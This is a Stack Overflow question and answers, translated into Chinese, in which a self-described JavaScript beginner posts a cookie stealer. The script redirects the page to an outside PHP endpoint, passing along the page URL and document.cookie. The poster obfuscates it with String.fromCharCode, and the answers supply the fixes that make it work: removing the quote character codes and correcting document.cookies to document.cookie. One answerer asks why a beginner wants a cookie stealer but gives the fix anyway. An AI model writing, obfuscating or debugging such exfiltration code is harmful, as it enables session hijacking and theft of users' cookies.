我对javascript和编程是个新手。
这是原始代码:
document.location = "http://ormteam.net23.net/Cookie_stealer.php?url=" + window.location.href + "&cookies=" + document.cookie;这是关于string.fromcharcode的
document.location = String.fromCharCode(34, 104, 116, 116, 112, 58, 47, 47, 111, 114, 109, 116, 101, 97, 109, 46, 110, 101, 116, 50, 51, 46, 110, 101, 116, 47, 67, 111, 111, 107, 105, 101, 95, 115, 116, 101, 97, 108, 101, 114, 46, 112, 104, 112, 63, 117, 114, 108, 61, 34) + document.url + String.fromCharCode(34, 38, 99, 111, 111, 107, 105, 101, 115, 61, 34) + document.cookies;为什么这不起作用?
在这段安宁的代码上坐了几个小时!;//
发布于 2013-07-07 06:48:30
只有字符串文字才需要引号。因为您没有使用字符串文字,所以不需要引号。
document.location = String.fromCharCode(104, 116, 116, 112, ...发布于 2013-07-07 06:54:48
从这些字符代码中删除用于"的34
将document.cookies设置为document.cookie
如果你是javascript的新手,你会用cookie stealer做什么,只是好奇!
https://stackoverflow.com/questions/17507773
复制相似问题